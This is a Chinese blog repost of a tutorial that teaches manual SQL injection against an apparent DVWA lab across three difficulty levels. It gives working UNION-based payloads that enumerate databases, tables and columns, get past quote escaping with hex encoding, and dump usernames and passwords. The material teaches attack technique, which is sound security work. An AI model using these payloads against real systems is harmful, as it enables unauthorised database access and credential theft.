SQL Injection 代码审计 1 (转)FreeBuf.COM

Posted 我是菜鸟在奔跑

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL Injection 代码审计 1 (转)FreeBuf.COM相关的知识,希望对你有一定的参考价值。

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。近期很火的大使馆接连被黑事件,据说黑客依靠的就是常见的SQL注入漏洞。

手工注入思路

自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

初级:

漏洞利用

现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。

1.判断是否存在注入,注入是字符型还是数字型

输入1,查询成功输入1’and ‘1’ =’2,查询失败,返回结果为空输入1’or ‘1234 ’=’1234,查询成功返回了多个结果,说明存在字符型注入。

2.猜解SQL查询语句中的字段数

输入1′ or 1=1 order by 1 #,查询成功输入1′ or 1=1 order by 2 #,查询成功输入1′ or 1=1 order by 3 #,查询失败

说明执行的SQL查询语句中只有两个字段,即这里的First nameSurname

(这里也可以通过输入union select 1,2,3…来猜解字段数),

3.确定显示的字段顺序

输入1′ union select 1,2 #,查询成功,说明执行的SQL语句为select First name,Surname from  where ID=’id’…

4.获取当前数据库

输入1′ union select 1,database() #,查询成功:

5.获取数据库中的表

输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

6.获取表中的字段名

输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询成功:

7.下载数据

输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:

中级:

 $id = mysql_real_escape_string($id); 

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

漏洞利用

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

1.判断是否存在注入,注入是字符型还是数字型

抓包更改参数id1′ or 1=1 #报错:抓包更改参数id1 or 1=1 #,查询成功:

说明存在数字型注入。

(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。)

2.猜解SQL查询语句中的字段数

抓包更改参数id1 order by 2 #,查询成功:抓包更改参数id1 order by 3 #,报错:说明执行的SQL查询语句中只有两个字段,即这里的First nameSurname

3.确定显示的字段顺序

抓包更改参数id1 union select 1,2 #,查询成功:说明执行的SQL语句为select First name,Surname from  where ID=id…

4.获取当前数据库

抓包更改参数id1 union select 1,database() #,查询成功:

5.获取数据库中的表

抓包更改参数id1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

6.获取表中的字段名

抓包更改参数id1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#,查询失败:

这是因为单引号被转义了,变成了\’

可以利用16进制进行绕过,抓包更改参数id1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查询成功:

7.下载数据

抓包修改参数id1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:

高级:

  $id = stripslashes($id);
    $id = mysql_real_escape_string($id); 

Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接最后一步演示下载数据。

输入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

 


以上是关于SQL Injection 代码审计 1 (转)FreeBuf.COM的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入--结合源代码审计的SQL注入

这个代码在 PDO 中是​​ sql-injection-safe 吗?

XXE外部实体注入(XML External Entity Injection)学习笔记

老司机带你学安全测试:SQL注入(SQL Injection)漏洞示例

oracle审计详解-转

dedecms /member/flink_main.php SQL Injection Vul